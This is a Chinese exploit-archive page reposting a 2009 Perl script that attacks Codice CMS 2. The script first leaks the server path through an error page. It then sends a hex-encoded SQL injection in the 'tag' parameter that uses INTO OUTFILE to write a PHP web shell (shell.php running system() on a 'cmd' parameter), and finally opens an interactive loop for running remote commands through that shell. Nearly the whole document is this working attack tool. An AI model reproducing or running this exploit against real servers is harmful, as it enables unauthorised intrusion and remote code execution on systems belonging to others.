首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Codice CMS 2 Remote SQL Command Execution Exploit
来源:vfocus.net 作者:vfocus 发布时间:2009-03-24  
#--+++===========================================================+++--
#--+++====== Codice CMS 2 Remote Command Execution Exploit ======+++--
#--+++===========================================================+++--


#!/usr/bin/perl

use strict;
use warnings;
use IO::Socket;

sub banner
{
	print 	"--+++===========================================================+++--\n".
		"--+++====== Codice CMS 2 Remote Command Execution Exploit ======+++--\n".
		"--+++===========================================================+++--\n\n";
}

sub usage
{
	die "\n[+] Author   : darkjoker".
	     "\n[+] Site    : http://darkjoker.net23.net".
	     "\n[+] Download: http://freefr.dl.sourceforge.net/sourceforge/codice/codice-dev-prev.zip".
	     "\n[+] Usage   : perl $0 <hostname> <path>".
	     "\n[+] Ex.     : perl $0 localhost /codiceCMS".
	     "\n[+] 22-03-2009 Gigi D'Agostino allo Chalet, parco del Valentino, Torino!!".
	     "\n\n";
}

sub dec2hex
{
	my $num = $_ [0];
	my $hex = sprintf ("%x", $num);
	return $hex;
}

sub hex_format
{
	my $i = 0;
	my $hex;
	my @string = split '', $_ [0];
	while ($i < scalar (@string))
	{
		$hex .= "%" . dec2hex (ord ($string [$i]));
		$i++;
	}
	return $hex;
}

sub get_script_path
{
	my ($hostname, $path) = @_;
	my $sock = new IO::Socket::INET (
		PeerHost => $hostname, 
		PeerPort => 80,
		Proto    => "tcp",
	) or usage;
	my $get =  "GET ${path}/index.php?id HTTP/1.1\r\n".
		   "Host: ${hostname}\r\n".
		   "Connection: Close\r\n\r\n";
	print $sock $get;
	my $src_path;
	while (<$sock>)
	{
		$src_path = $1 if ($_ =~ /resource in <b>(.+?)<\/b>/);
	}
	close ($sock);
	return ($src_path) ? $src_path : 0;
}

sub create_shell
{
	my ($hostname, $path, $query) = @_;
	my $sock = new IO::Socket::INET (
		PeerHost => $hostname, 
		PeerPort => 80,
		Proto    => "tcp",
	) or usage;
	my $get = "GET ${path}/index.php?tag=${query} HTTP/1.1\r\n".
		  "Host: ${hostname}\r\n".
		  "Connection: Close\r\n\r\n";
	print $sock $get;
	close ($sock);
}

banner ();
my ($hostname, $path) = @ARGV;
usage unless ($path);
my $shell_path = get_script_path ($hostname, $path);
$shell_path =~ s/index\.php$/shell\.php/;
my $query = 'x %\' UNION SELECT 1, \'<?php system (stripslashes($_GET[\\\'cmd\\\'])); ?>\', 3, 4, 5, 6, 7 INTO OUTFILE \''.$shell_path.'\' FROM cod_codice--';
$query = hex_format ($query);
create_shell ($hostname, $path, $query);
print "Remember to delete 'shell.php' before exit!\n";
while (1)
{
	print "nobody\@${hostname} > ";
	my $cmd = <STDIN>;
	chomp $cmd;
	die ("Good bye!\n") if $cmd =~ /^quit$/;
	$cmd = hex_format ($cmd);
	my $sock = new IO::Socket::INET (
		PeerHost => $hostname,
		PeerPort => 80,
		Proto    => "tcp",
	);
	my $req =  "GET ${path}/shell.php?cmd=${cmd} HTTP/1.1\r\n".
		   "Host: ${hostname}\r\n".
		   "Connection: Close\r\n\r\n";
	print $sock $req;
	my $k;
	while (<$sock>)
	{
		chomp $_;
		$_ .= "newline";
		$k .= $_;
	}
	$k =~ s/^.+1\t//;
	$k =~ s/\t3.+$//;
	$k = join ("\n", split ("newline", $k));
	print $k . "\n";
	close ($sock);
}

# [2009-03-23]

 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Pluck CMS 4.6.1 (module_pages_
·Telnet-Ftp Service Server v1.x
·eXeScope 6.50 Local Buffer Ove
·POP Peeper 3.4.0.0 .eml file U
·Rittal CMC-TC Processing Unit
·POP Peeper 3.4.0.0 .html file
·PHPizabi v0.848b C1 HFP1-3 Rem
·Syzygy CMS 0.3 LFI/SQL Command
·Zinf Audio Player 2.2.1 (.pls)
·Free Arcade Script 1.0 Auth By
·Mac OS X xnu <= 1228.x (hfs-fc
·Adobe Acrobat Reader JBIG2 Uni
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved